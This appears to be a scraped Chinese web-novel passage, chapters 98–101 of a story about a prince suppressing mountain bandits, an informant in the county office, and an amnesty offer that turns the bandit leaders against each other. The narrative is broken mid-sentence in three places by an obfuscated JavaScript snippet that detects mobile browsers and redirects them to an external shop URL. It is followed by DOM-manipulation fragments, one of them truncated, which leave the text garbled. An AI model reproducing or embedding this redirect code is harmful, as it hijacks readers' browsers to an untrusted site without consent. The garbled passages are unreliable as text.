王羌曹在县衙办差时,曾将察言观色的本事练得炉火纯青,但此时他既看不出虔来剿匪这差事幽王是否自愿接下,又不晓得他到底有没有应付这差事的真才实干,故而借着这些埋怨与递台阶之言给他们留出几日时间,以便等他摸清这位贵人的脾性后再为自己今后行事做打算。 倒是个聪明的。 薛霁微微一笑,赞同说,“王县尉此言有理,剿匪诸事还是先请王县尉与白什长多费心了。” “属下们应该做的。” 说到这里,王羌曹知道今日与幽王的谈话该结束了,就在他怼了白冲一下预备同他一起抱拳告退时,忽听幽王问,“参与头两回剿匪的官兵有多少人?这些人中朝廷拨派与兴民城州府驻军比重如何?” 王羌曹:“两次剿匪官兵均为一千人,其中一半是兴民城州府军,一半为朝廷拨派。” “本王记得,那五百州府军已是白知州倾囊相授了。” 王羌曹颔首,“是,只因这五百人本是兴民城驻军,慕将军觉得他们对虔来山相对了解,故而将这些人全数征用了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888147|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦?”薛霁身子略一向前探去,像是为何事起了兴趣,又问,“那王县尉可知晓这五百人当中,谁原先也曾被兵部征用与山上土匪打过交道?” “这……” 这事王羌曹确实不知道,他不明白幽王为什么这么问,正支支吾吾时,却蓦地感觉自己心口猛地跳了一下,两次剿匪败绩莫名在此时浮现在脑海中,他猛地抬头直视幽王,又见幽王的目光已落在自己身上许久。 “属下…立刻去查!” 王羌曹低头抱拳,临走还不忘拽走在旁边一头雾水的白冲。 衙役方才送来炭盆,屋内渐渐暖和起来,无恩听着王羌曹与白冲汇报这些自己早就知晓的信息有些昏昏欲睡,但还是忍到他们离开才轻轻打了个哈欠,“白大人那么稳重一个人,怎么生出这么个没心眼的儿子,属下瞧他还没有那位王县尉机敏呢,难怪这个年纪只做了什长。” “世间有人机敏,有人勇猛,各具所长,各有用处。” 说了太多话,薛霁轻轻咳了一声,无恩立即附身与他添了杯热茶,担忧道,“主子何不直接将猜测说出,让他们去查,费这些口舌也不晓得那两人能否悟得。” “兴民县衙人多口杂,他们若是不能自己回过神来,本王说的再多也是对牛弹琴。” 快到上灯的时辰,县衙议事内堂已经暗了下来,薛霁起身,又说,“天色不早了,去看看郑万金为本王居所准备的如何了。” 无恩将大氅披回主子肩上,低头道了声,“是。” 王羌曹将白冲匆忙拽走,白冲手臂被拽生疼,他忍无可忍时终于甩开王羌曹,怒斥,“你疯了不成,抓着我在这破县衙里乱窜什么?” 王羌曹朝前扬了扬下巴,说,“到了。” 白冲偏头一看,才发现他带自己来到了县衙吏房。 兴民县衙设有吏、户、礼、兵、刑、工六房,其中吏房保管人事档案,这些档案详细记载着该县所有衙门中,所有人员的姓名、入衙日期以及奖励、处分等事务。 白冲问,“你要查兵部原先在虔来上剿匪时征用过哪些州府军?” “不是我,是你和我。”吏房挂着锁,王羌曹问他,“钥匙在谁手中?” “应是兴民县衙书吏吕贾,要寻他取钥匙吗?” 王羌曹略一思忖,抬脚将门踹开,取出怀中火折子走了进去。 “哎你虽在安南县衙当差,但也别这么毁坏我兴民县衙的家当呀。”白冲骂骂咧咧跟在他身后,看见屋内好几个装满书册的柜架,抱怨,“这么多怎么找啊。” 王羌曹不理他只顾举着火折子仔细寻找,白冲看他对幽王如此惟命是从,哼了一声,鄙夷说,“不过是个病秧子亲王,他被众星捧月到这个年纪,别说土匪,恐怕连扒手都没见过,来此处剿匪也无非是走个过场罢了,王大哥对幽王殿下这般殷勤,该不会同那郑县令一样,也想给自己今后铺一铺路吧?” 闻此言,王羌曹终于抬头去看白冲,他想把自己从幽王那几句问询中猜测出的事情告诉他,可又担心这小子口无遮拦会误大事,犹豫片刻还是对他说,“白冲兄弟你勇猛却太过冲动,说话又不够圆滑,与你共事这些天我无时不担忧头顶上司会因你办事说话不妥而迁怒我,你是白知州独子,而我不过是毫无背景人脉的小县尉,我能走到今天属实不易,求你今后举止言行谨慎些,莫要连累我。” 王羌曹这番话说的真情实感,白冲记起这些日子王羌曹确实在慕将军与幽王面前为自己说过不少求情好话,虽然心中有气,可白冲还是别扭说,“我这人就是这个性子,想改也改不了了,大不了我以后少说些话喽……” 白冲模样有些委屈,王羌曹感念他曾请自己吃过有安南庄风味的点心,想了想又道,“达官显贵我当差时也见过一些,但今日与幽王谈过几句后,我自觉他并非如传闻所说那般,若你信王大哥,便听话在他手下好好当差,往后说不定咱们真能给自己铺条后路。” “哦。” 王羌曹笑笑,举着手中火折子说,“哦什么,还不快来干活。” 白冲接过王羌曹手中火折子引燃桌上烛芯。 两人相视一眼后,吏房中的烛光便闪了一夜。 99. 凯旋 兴民城偏北,初冬的气温要比晁都城低一些,夜里更是如此。 但素来不喜寒冷的薛霁在破旧简陋的兴民县衙客房中休憩过一夜,醒来却并未觉察到丝毫凉意。 无恩凌晨时就守在主子门外,直到清晨听见内有低语召唤才应声进去。 屋内木窗留有缝隙,因而炭盆火星此起彼伏一整夜,屋子里也并不显闷热,无恩从衣桁上取下一套银丝暗纹阔袖锦袍,熟稔的为主子更衣。 世人都言传,中北幽王是个病秧子,与人开口说话时总是未语先咳,因而没见过薛霁的人都以为他的病已入膏肓,人自然也是骨瘦如柴。 但言传终究只是言传。 小屋中,薛霁慵懒舒展长臂,任由银丝暗纹阔袖锦服一件一件齐整上身,无恩将玉带束在主子纤挺腰身,而后款款垂下系在他腰间的玉佩丝穗。 纤腰束素,郎艳独绝。 这套衣装寻常,只是幽王相貌将其衬得譬若华服。 更完衣,无恩侍立一旁暗暗感叹:真是丰神如玉兮,倜傥出尘。 这间简陋小屋何德何能,沾了主子的光,竟生出这般耀眼光辉。 “傻乐什么?” 每日都能瞧见这醉人光景,可无恩还是稳不住自己心神,他嘿嘿一笑挠挠自己不受控制的嘴角,说,“主子如此风姿,将来不知会便宜哪家姑娘。” 薛霁失笑,却道,“再胡言乱语,今夜便去和暗卫一起睡屋顶罢。” 无恩闻言,立即抿着嘴去收拾床铺。 说是收拾,不过是将本就十分平整被褥交叠的更为平整,无恩手上一边忙活,一边感叹,“来兴民城之前,您说此行不必准备日需细软,属下还不懂是为何,直到昨夜瞧见这破旧屋舍被郑县令打点的应有尽有、面面俱到时才恍然,咱们若万事准备周全,倒让人家有心人无从下手了,只不过……” 无恩轻轻拂过整理好的床铺,疑惑,“这面料精巧轻盈、细腻柔软,裁制为成衣造价尚且不菲,那郑万金不过一个小小县令如何有钱购置这么一整套床榻布衾?” “人有各异,财道亦殊,县令这顶帽子,并不小。” 薛霁架起木托,临窗远眺片刻后,瞧见一兴民县衙小衙役,匆匆朝此处走来,屈身道了一句,“殿下,王羌曹王县尉有要事相报。” “他人在何处?” “回殿下,正在县衙议事内堂候着。” 王羌曹在县衙议事内堂中等候不久,就听见门外响起守门衙役抱拳问安的声音。 无恩推门而入,侧身请幽王入内同时,王羌曹立即上前颔首行礼,“安南县尉王羌曹见过幽王殿下。” 薛霁:“不必多礼,王县尉有话直说。” “是。” 幽王一身银丝暗纹锦袍,挺拔俊逸,步态从容,王羌曹没敢看他的脸却也被那浑身尊贵气度晃了一下神。 目送幽王撩袍入座,王羌曹这才禀报道,“属下昨夜与白什长翻遍兴民县衙吏房书册,发现那五百州府军中共计有三百四十六人曾先后被兵部征调,其中有一百六十六人参与过虔来山剿匪事宜,而这一百六十六人中又有六十八人参与兵部剿匪超过两次,这六十八人是否需要属下派人严加盯守?” 薛霁问,“盯守他们做什么?” “啊?” 王羌曹懵了,腹诽:不是您问我曾被兵部征用与山上土匪打过交道的兴民城州府军数量么。 啊过之后仍需回话,王羌曹答,“打土匪这两回,属下们不是扑空就是中埋伏,尤其是上次,计划周密又是在夜里,却没想到还是被山上土匪打了闷棍,当时众人只觉得是他们警惕,在虔来山藏了不少暗哨,但后来属下仔细回想又觉得那埋伏中的有些不对劲,毕竟若是暗哨,那土匪们的反应也太过迅速,像是早知道官兵们会从那里上去似的,多亏殿下昨日最后那句问询,属下才幡然醒悟,那些曾与土匪打过数次交道的官兵们身上或许有蹊跷,故而属下拙见……派人去盯着那些官兵,若真发现谁举止有异,便用严刑逼迫他们说出与土匪勾结详情,而后设计将土匪们一网打尽。” “严刑逼迫?”薛霁轻笑,继续问他,“兴民县衙大小官吏及大多州府军皆是兴民城本地人士,若军中有土匪内奸的消息传出,王县尉猜朝廷和被虔来山土匪欺压多年的兴民城百姓会作何反应?” 此消息如果从自己口中出去,朝廷震怒、百姓惶恐、民心不稳,他王羌曹能在兴民城上下官吏被问罪前留个全尸已是三生有幸了。 王羌曹冷汗都冒出来了,他连忙低头认错,“是属下思虑不周,此事仅为属下猜测,还并未透露给任何人。” 这是说白冲也不知道。 “王县尉言行谨慎、心细如发,此事就交由你办罢。” 王羌曹不知他这话是什么意思,刚疑惑抬头就听幽王沉声,“传本王令,集兴民城全军兵力于一处,以剿匪寇。” 王羌曹抱拳答“是!” 他看出幽王目光中似乎还有言外之意,于是领命后并不着急离开,果然,下一瞬王羌曹又听见幽王与他玩味道,“王县尉,要你盯守的或许不止六十八人。” 这话中之意已十分了然,王羌曹抱拳再答,“属下,明白。” 幽王到兴民城第二日便下令集兵剿匪,可官兵们等了好几天仍迟迟不见有开战命令,有人坐不住,便去问王羌曹‘幽王此举是什么意思’,可王羌曹只程式般回答说,“幽王殿下交待此次是突然行动,各营只管做好准备,静等幽王下令便是。” 王羌曹口风严密,白冲又一问三不知,有心眼多的官兵觉得他们形迹可疑,便时常聚在一起猜测议论,这帮人不聚还好,一聚竟又让他们察觉一件更加古怪的事情。 他们发现,等待开战命令这些天曾不断有同僚失踪过。 失踪过的意思是,这些人总是会先消失几个时辰,而后再忽然出现,且失踪后归来的人,个个毫发无损,神色却都慌张至极,怎么问也不开口。 短暂失踪又出现的官兵人数不多,他们慌张过后又很快恢复如常,因而并没有引起其他人的焦虑与恐慌。 等待中出现的风波很快过去,幽王像是终于缓过前几日因一路奔波引起的疲惫,才总算想起来发出开战命令。 白冲在一个天朗气清的早晨仍旧只领一千人浩浩荡荡的上了虔来山,留守在兴民城的官兵见他如此大摇大摆、无所顾忌,有的心虚躲闪,不愿多谈,有的却唏嘘感叹,“他们此行扑空还好,若是又遭土匪闷棍,也不知幽王会不会和慕将军一样心善,只痛骂他们一顿解气。” 幽王来兴民城已有几日,可亲眼见过他的人寥寥无几,有闲着无聊的官兵私下猜他形容枯槁、沉疴难起恐怕连门都出不了,不然他一个只有钱没有权的亲王怎么可能不想出号令数千官兵出战虔来山这样风头。 也有人小声不屑说,“土匪凶狠狡猾,英勇善战的慕将军出兵两次都没打下虔来山呢,幽王一个只知贪钱吊命的公子哥能有什么本事,呵…还出风头,只要别被那帮土匪捉弄的太过难堪就已经是幸事了。” “说的也是,唉……我自映月关那一战后便十分仰慕慕将军,本以为这次好运,能跟着他在虔来山与土匪大干一场,谁知好不容易在熬过山底趴窝,转身又被土匪连连欺辱,想想真是窝囊。” “前些年兵部虔来山剿匪月余,装模作样抓一些掉队土匪示众就算了事,可今年能指望上的慕将军走了,接任他的幽王又不顶事,也不晓得这剿匪差事何时是个头儿。” 一群大男人见缝插针的从白天叽咕到黑夜,直到看见王羌曹与无恩并肩路过此处才闭嘴假装忙活。 几个官兵朝他们努努嘴,用眼神疑惑—— 诶? 白冲平日总是与王县尉形影不离的,幽王今日为何没让王县尉同白冲一起上虔来山? 他们还在胡思乱想,忽听不远处响起一声收军锣声。 锣声刚落,无数汉子欢呼凯旋的歌声便随之传来,驻守在兴民城外的小兵眼尖,一下子就看清站在队伍前蹦跶的那人相貌。 “啊!是白什长!白什长他们得胜凯旋啦!” 此言一出,驻扎在城外军营的无数道目光不约而同地迅疾投向正朝他们昂首阔步,得意扬扬走来白冲。 白冲一走近他这些同袍,便立刻有好几个汉子扑过来将他揽住,羡慕问,“成了?” “那当然!”白冲似乎觉得有些不过瘾,“就是可惜遇见的只是一支小队,小爷我还真是没有杀痛快!” 队伍中有些小兵受了伤,白冲挣开搂着自己的同袍高声唤来军医给他们包扎,围在他周围问询的众人才瞧见他腰间刀鞘尾部还挂着一个布包。 “诶小白,你刀上咋还坠着个包袱,那里头装的什么?” 他们作势就要去扯,白冲侧身护着包袱躲过后,拍开同袍们从四面八方伸来的手,“去去去,该干嘛干嘛,别挡路,小爷我还得去和幽王殿下汇报胜绩呢。” 他说着穿过人群直奔兴民县衙,将同袍们钦羡与打趣自己的声音远远落在了身后。 与虔来山土匪争斗这么多年,这是官兵们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吕贾颔首道,“官兵们得胜归来,兴民县衙理应设宴犒劳,小人正要去寻郑县令以便提醒他筹备此事。” “原来如此,那您忙,我先告辞了。” “无恩侍卫好走。” 恭送无恩离去,吕贾低头抬眼发现再看不见他身影时,摸了摸塞在自己衣袍补丁边沿的布条,阴翳勾了勾唇,转身没入了夜色中。 无恩赶到兴民县衙后院客房时,白冲已经被主子请进去回话了,他蹑脚入内,目视主子双目轻轻点了一下头后,才走过去旁听白冲禀报—— “属下按照您的吩咐,在正午时便率众全部藏匿进虔来山中,直到傍晚时分,果真见一队土匪鬼鬼祟祟朝我等躲藏之处袭来,属下趁他们不备,群起而攻之,最终将其一举歼灭。” 白冲说完,将挂在自己刀鞘尾部的布包取下打开,一边悄悄观察幽王神情,一边献宝似的将布包里的东西双手捧上,“此物便是属下缴获的匪首人头!” 人头脖颈截面的血已经流干,匪首紧闭的双眼却好似随时都能将怒目圆睁。 大半夜的屋子里出现这东西,任谁都要被吓得一惊,但是白冲举着人头好一会儿也不见面前之人有什么异动,他没了耐性,直接抬眼看向幽王。 夜很深了,薛霁却并不像匆忙离塌的模样,他仪容温润,体态端正,看着血腥人头的目光平静至极,仿佛那玩意儿与他屋子里的其他摆件并没有什么不同。 无恩看出他不怀好意,压着怒火说,“什么匪首!你别是随便砍了个土匪脑袋便来邀功的吧!” 白冲急道,“怎会!我带兵夜闯黑鹰岭时,就是他同威虎寨二当家一起与我叫嚣的!” 无恩听见关键,再问,“那你今日也见着威虎寨二当家了?” “并未见着她。”白冲继续回话,“此人今日见势不对就要与属下投降,属下亦问他的二当家为何不现身,只听他说,那初暒被齐威虎夺了权关在山牢里,生死亦未可知,哪还顾得上现身。” 薛霁此时忽然开口,问,“此人既然已经降了,你为何还要砍下他的人头?” “土匪们狗胆包天三番两次戏弄官兵,此番若不是您神机妙算,今日恐怕仍会一无所获,杀了他们便是告诉那群土匪,朝廷决不是一帮土匪宵小可以蔑视的!” 薛霁:“那依你看,也应该将虔来山其余土匪尽数屠灭了?” 他话音一落,屋内顿时安静下来,白冲此时不知怎的忽然想起王羌曹那句‘你怎敢当着殿下的面儿说出这些赶尽杀绝的气话来’。 白冲心中一咯噔,张了张嘴,思量着说,“倒也无须尽数……如今威虎寨那位初二当家已与齐威虎决裂并被囚于牢中,想来齐威虎与朝廷作对一事他并不知晓,而且属下曾与那位二当家有过一面之缘,私以为他脑子好使,也像是有些本事在身上的,就这么杀了实在可惜,不如……招安那些愿意归顺朝廷的好汉共抗外敌,总比我们自己人杀自己人好些。” 100. 出路 “方大通死了?!” 齐威虎闻讯“噌”的从塌上站起,他顾不得衣衫不整,大跨两步冲到姜九面前,厉声问,“究竟是怎么回事!” 姜九整个人像是惊魂未定,哆哆嗦嗦说,“燕山鹰傍晚收到消息称,官兵们会于今夜子时进山偷袭黑鹰岭,方大通大概是立功心切,便说事发突然,若不提前在山中埋伏好恐怕会被官兵们钻了空子,于是擅自领了一队兄弟出去,小的…小的……本打算将此信呈报给您的,可又想起府衙中有燕山鹰的人,官兵们头两回都无功而返了,这次估计也是一样,却没想到……方大通刚带人赶到埋伏地点,就遭到有备而来的官兵们群起攻击,不多时兄弟们就被他们全部杀光了。” 齐威虎眉头紧锁,一阵后怕,要不是方大通自作主张,今夜死在官兵刀下的恐怕不止那支小队。 “小的因为去方便在小队后面磨叽了一会儿,这才躲过一劫。”姜九哭丧着脸,不知道是在庆幸还是愧疚,“等小的追过去一看,正好瞧见官兵领头的挥刀将方大通的脑袋砍掉提走,像是嫌弃人头污秽,那人便扒了方大通的身上衣裳将其包裹起来挂在自己的刀鞘上,真是好狠的心,好毒的手!” 姜九越说,齐威虎心跳越快,他焦躁地在房中来回踱步,像是忽然想起来什么似的,问,“今夜寨外值守可是楚六?” “应该是他。” “速去寻他来见我。” “是!” 姜九惊惶回来时并未在黑鹰岭门口注意到楚六,他领大当家命在山寨大门外仍旧没有看到他的身影后,立即回身奔向寨中众喽啰就寝卧房中寻找。 他刚走,捏着一只风筝的楚六匆匆从门外进来,直奔齐威虎居所。 与楚六错肩的姜九找不到人,急的满头大汗,有起夜的小喽啰见他神色慌张,迷迷糊糊问了声,“这大半夜的你与楚六不睡觉,在大当家门口转悠什么?” 姜九这才醒悟,敷衍一句,“我们梦游”而后迅速钻进齐威虎房中。 “大当家的,今夜风大,小的方才在寨外值守时,忽然发现山中似有形状怪异的大鸟在半空盘旋,定睛一瞧才看清是只风筝。”楚六将绑在风筝上的灰色布片扯下来,递给齐威虎,“风筝上还绑着这东西。” 灰色布片上写有文字,可屋内三人皆是白丁,他们举着布片横看竖看也不晓得上面写着什么,还是姜九一拍脑门,想起,“小的刚才在院里见着一个原黑鹰岭喽啰,他似乎认得几个字。” 得齐威虎首肯,姜九很快就扯着一个披着外衫,双手紧紧揪着自己裤腰的汉子进来。 “小九……你等我把裤子系好啊……大…大当家!” 方便到一半的小喽啰被人连拉带拽的推到大当家面前,整个人还没站稳,手上就被塞进一块灰色布条。 楚六对他凶狠说,“速速将这上面内容准确无误的念出来!” “是是是……” 小喽啰哆嗦着将自己眼角的秽物蹭掉,就着屋中不慎明亮的烛光,一字一顿念着布条上的工整字迹,“中北向来用仁义治天下,以赏罚定干戈…切念威虎寨草莽,素怀忠义,不施暴虐。虽犯罪恶,各有所由。察其衷情,深可悯怜…今,朝廷拳拳求贤之心未尝稍懈;爱民之情亦如恐弗及,诸君若心怀归顺之意,愿以凛然之志报效朝廷…便交出黑鹰岭匪首燕山鹰项上人头以示诚意,人头到时,则威虎寨等大小人员所犯罪恶尽行赦免,文书到日,莫负朝廷,早早归降,必当重用。故兹诏敕,想宜悉知……” 识字不识字,先识半边字,小喽啰一段话念得磕磕绊绊,直至读完才反应过来,惊讶说,“这不是招安文书么!这东西哪来的!朝廷想要咱们招安竟还想要燕山鹰当家的人头!这不是欺负人么!哪有这样……” 小喽啰话还没说完,脖子上就被人抹了一刀,他瞪大双眼还不知道自己为什么说不出话来,整个人就‘咚’的一声倒在了地上。 “大……大当家?!” 姜九看向被小喽啰溅了一脸血的齐威虎,惊诧,“您这是做什么?” 齐威虎目露凶光,冷冷说,“他是燕山鹰的人。” 文书上说,想招安且免罪,就要交出燕山鹰人头以示诚意,此话要是泄露出去,难保燕山鹰不会狗急跳墙。 楚六试探问,“您想受了朝廷招安?” 齐威虎扔了刀,抬手胡乱抹掉自己脸上流淌的血渍,没有回答。 原先虔来山四家土匪山寨各占山头时,一家有难,三家逃窜,如今四寨合一,他齐威虎只顾贪图四寨之主的风头,却没有及时想到自己的寨子终究会变成被猎人瞄准的出头鸟。 与燕山鹰合作这段时日,他总觉得心里不踏实,直到听见方大通的死讯,他才知道那股子不踏实源自何处。 寨中一支小队全部覆灭。 朝廷已将刀枪对准了他。 口中突然干涩,齐威虎想为自己倒一杯茶,一伸手却感觉手在微微颤抖。 他收回手,不动声色的坐在桌边,轻声问自己的两个手下,“方大通今日已经死在官兵手中,你们是想将他的死变成仇还当作功?” 听到方大通死讯,楚六怔愣了片刻,才说,“咱们原先之所以敢躲在山中埋伏官兵,就是听燕山鹰说兴民县衙中有自己人,只要不伤及官兵性命,时间一长他们打不下虔来山便也不耐烦再来纠缠,可是今日,傍晚就领人出去埋伏的方大通却死在了子时才会突袭黑鹰岭的官兵手中,这难道不是说县衙中的‘自己人’所报消息有误么,一次错误消息就折了咱们这么多兄弟,万一官兵们哪天真悄默唧唧摸进黑鹰岭,站在你我床头……” 楚六打了个冷颤,说,“受了招安起码能睡个安稳觉不是……” “楚六哥若是亲眼看见那帮鹰爪孙是如何杀死方大通并取走他头颅的,便说不出这样的话了。”姜九反驳说,“土匪在虔来山中为患多年,朝廷早将我们视作眼中钉肉中刺,小的早听说新接管虔来剿匪一事的幽王阴险狡诈、冷血无情,招安这鬼主意定然是他想出来诓骗咱们的,若将这劳什子文书当了真,威虎寨上下肯定会被他全部逮住一齐杀个干净!” 他们俩各执一词,齐威虎越听越挣扎犹豫。 姜九见他神情作难,脑中灵光忽然一闪,说,“小的们愚笨,想不出什么有用的东西来,大当家的何不召初二当家商议此事对策?” “对啊!”楚六被他提醒,眼中也立时有了光亮,“小的记得,您先前问二当家什么才是咱们威虎寨最好的出路,二当家曾回说‘出路没有最好的,只有最合时宜的’,既然二当家的那时就已经料到威虎寨今日前途,想必她心中定有应对良策,若是能得二当家相助,咱们定然能够顺利解决此事。” 初暒早就劝说过齐威虎为威虎寨的将来早做打算,可是他沉溺于一统虔来的美梦中什么都没有做。 姜九与楚六此时对初暒的句句吹捧,听在齐威虎耳中,无一不是对他能力的不屑和往日自负的嘲讽。 也是到此时,齐威虎才知晓,即使自己已经与初暒决裂,即使风光不再的初暒已经被自己夺权后关进山牢,他手下这帮人一遇到难处,头一个想去依靠的还是他们那个毛都没长齐的二当家。 齐威虎的右手在衣袖中紧紧握成了拳,忍无可忍之际他终于拍桌怒起,“一个连自己地位都守不住的毛头小子能懂什么!你们要是信他多过信我,便自个去后山山牢里与他作伴儿吧!” “大当家的的息怒,是小的们说错话了。”楚六连忙和姜九拱手赔罪。 “府衙传出的消息有误,燕山鹰已经靠不住了,我原打算撤离黑鹰岭,重回咱们的威虎寨,可没想到朝廷又这般及时的送来了招安文书。” 齐威虎背手在屋内匆匆走过几个来回终于作出决定,他拿起灰色布片,用兴奋又带着狠意的声音说,“与其在山中为官兵追铺担惊受怕,何不受下朝廷招安,从军去做个征战沙场的英雄!” 姜九还是害怕,问,“可万一招安是假,屠灭是真……” 齐威虎打断他,强硬说,“招安文书已发!朝廷虔来山剿匪又声势浩大,我们若带着两份大礼诚意归顺,他们要是还敢食言,中北定会成为天下人的笑话!” 两份大礼? 楚六不解,问,“文书上说朝廷只要燕山鹰人头,不知大当家还要送他们什么?” 齐威虎嘴角带笑,说出口的话却让人倍感寒冷,“慕峰青在山下驻军,逼得虔来山众土匪不得不自相残杀,如今山中四寨只剩我威虎寨独占鳌头,想必那帮鹰爪孙一定对那位只抡一把大斧,就能率众连收三寨的威虎寨二当家初暒十分感兴趣。你们不是总言说我的二当家聪慧过人,足智多谋么,如此咱们便一起看看,他初暒只剩一个脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888149|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋时,还能给自己谋划出什么!” 大当家眼中的妒恨与杀意不假掩饰,楚六与姜九惶惶相视一眼,低下了头,再不敢多说什么。 天快亮了。 屋内的齐威虎一抬眼,却只看见门外墨色浓云、灰蒙阴沉的天空。 方大通领一支小队埋伏意图偷袭黑鹰岭的官兵,一夜未归,燕山鹰心中忐忑,故而一大早就去齐威虎居所寻他以便详谈此事。 可是齐威虎并不在房中。 燕山鹰没有多想,正准备去聚英堂再找时,余光倏地被角落一只破旧风筝吸引了视线。 那不是…… “唉…真是世事无常,怎么好好一个人夜里去了趟茅厕就没了呢……” “咱们今后夜里也需要上茅厕呢,再别说了,怪吓人的。” 有两个喽啰一前一后从就寝卧房出来,他们看到原黑鹰岭大当家在院中看着自己这边,连忙跑过来问候。 “小的们见过燕当家的!” 燕山鹰问,“你们方才在说什么?寨里可是有谁意外身故了?” 两个小喽啰你戳戳我我戳戳你,最后还是刚刚最先开口的那个,说,“小的们一个同寝昨夜死了,听楚六说是夜里黑,如厕滑倒后脖子磕着尖锐石锋,人失血过多……就没了。” 昨夜该是楚六在寨外值守,他如何能知道的如此详细? 燕山鹰起了疑心,又问,“你们昨夜可曾听见外面有什么动静?” “小的夜里睡得死,就是天塌了也不一定能听见……”一个喽啰打着哈哈,而另一个回想一会儿,说,“小的被起夜同寝吵醒,似乎……隐约听见过屋外响起过姜九与他拉扯的声音。” 楚六、姜九大半夜为何出现在齐威虎屋外? 还有角落那只县衙奸细与他传信的风筝。 县衙传来了什么消息? 齐威虎为何没有及时与自己互通? 燕山鹰心中的忐忑更甚了。 他若无其事的甩手让回话喽啰们退下,自己则转身漫无目的地行走在山寨中。 方大通一夜未归,可寨子里至今风平浪静,莫不是说那齐威虎是知晓其中内情的。 燕双鹰虽然与齐威虎打交道时间不长,但也发觉此人优柔寡断,前怕狼后怕虎,如果没有初暒,他这辈子断然是不可能坐上这虔来山四寨之主的位置的。 思及此处,燕山鹰心里又起一问:既然初暒有如此才能,又费了这么大功夫才夺下三寨,为何这么轻易就被齐威虎夺了权,又至今还在不见天日的山牢里稳稳住着? 难不成真是因为他这个人对齐威虎忠心耿耿? 燕山鹰冷笑一声,摇头否认:初暒应该不会这么蠢。 “小的见过燕当家的!” 耳边响起喽啰问候,燕山鹰这才反应过来自己走到了后山山牢。 “燕当家的可是要入内探视初二当家?” 值守喽啰言语间对初暒十分恭敬,燕山鹰看了他一会儿还是觉得眼生,不答反问,“值守山牢向来都是喽啰们轮换着来的,怎么我很少在寨里前院看到你?” 喽啰抿了抿嘴,像是在琢磨如何对他说些好听的话。 燕山鹰大概猜到喽啰在想什么,笑了笑,只说,“我并非心胸狭隘只爱听奉承,你只管照实说。” “在前院当差,需常被调遣出去埋伏山下官兵,小的虽是土匪,但心中也清楚,这世上只有乱臣贼子才会与官兵、与朝廷作对,我等不愿做违心的事,所以才揽下了值守山牢的差事。” 燕山鹰默了默,问,“这话不像是你能琢磨出来的,你从何人口中听过这些?” 喽啰只看他,不答话。 燕山鹰心中了然,提步往山牢里进。 “山牢昏暗,用不用小的给您带路?” “不必。” 黑鹰岭后山山牢是燕山鹰亲眼盯着建起来的,没有人比他更熟悉里面的路。 他轻车驾熟、步履轻盈地走过一个又一个转弯,最终在一间干净整洁的牢狱里看见那道靠坐在木栅栏前的熟悉背影。 廊道墙壁上杵着的火把燃烧着枝皮滋滋作响,背弃齐威虎的数十喽啰聚首低语,牢狱此时并不悄然无声,可是燕山鹰却看到,那个靠坐在木栅栏前像是正在假寐的背影忽然微微侧耳,似是已经察觉身后正在目视着他的自己。 101. 对峙 “下去!休要轻举妄动!” 初暒并非粗枝大叶之人。 她能在各种声音汇集的山牢中发觉身后数丈之远的些微脚步声。 如此敏锐与警惕的一个人,为何对那夜柴火房外闪过的身影无动于衷? 燕山鹰心神不定的转身离开,可是他刚刚走出山牢大门,迎面便跑来一群背刀提棒的土匪喽啰。 为首的是楚六,他看到燕山鹰在此处略显惊讶,“呦,这不是燕大当家的么,小的方才在山寨里找您半天了,没想到您竟在此处溜达啊。” 他们看着有些来者不善,燕山鹰晓得情况不妙,却仍旧装作一无所知的模样,问,“寻我做什么?可是齐大当家有何吩咐?” “燕当家去了便知晓。”楚六看着他皮笑肉不笑,“来人!将燕当家的好生请到聚英堂前院。” 楚六一声令下,立刻就有两个喽啰从队列中走出站在燕山鹰左右,他们面容紧绷,举止僵硬,好像只要燕山鹰稍有不从,这两人就会立时出手将他牢牢钳住。 燕山鹰不知道他们究竟要做什么,只好乖乖被这两个喽啰杖履相从的赶着往前走,身后再没有其他土匪们跟上来,他扭头看了一眼,又见楚六领了几个手下大步流星的步入山牢之中。 初暒被关进山牢许久,楚六怎么今日想起来见她了? 还没来得及仔细琢磨,燕山鹰后腰就被身侧土匪推搡一下,“燕当家,齐大当家的已经在前院等您许久了。” 燕山鹰点了点头,回首随他们同去。 聚英堂前院人声鼎沸、水泄不通,整个山寨的土匪喽啰大概都聚集在此处,一众人热闹的好似在参加什么盛大集会。 初冬,山里的晨风如利刃削刮着土匪们的脸庞,他们有的抱着双臂原地蹦跳,有的挤在人堆里依仗个子高的兄弟挡风,站在人群外围的土匪看到燕山鹰过来,自觉地后退两步为他让出一条过路通道。 路尽头那位斜带着一个黑色眼罩的高大汉子许是真的等候燕山鹰许久了,见他过来,居然自降身份上前迎了几步,殷勤笑说,“听底下人说,你晨时去院里寻我了?哎呀真真是对不住,我夜里收到急报,一早便与手下人来此处忙活了,不知燕当家寻我所谓何事啊?” “劳大当家的记挂,我闲人一个,早起后无事四处转悠而已。” “什么闲人!您燕大当家的可是我威虎寨的大恩人!” 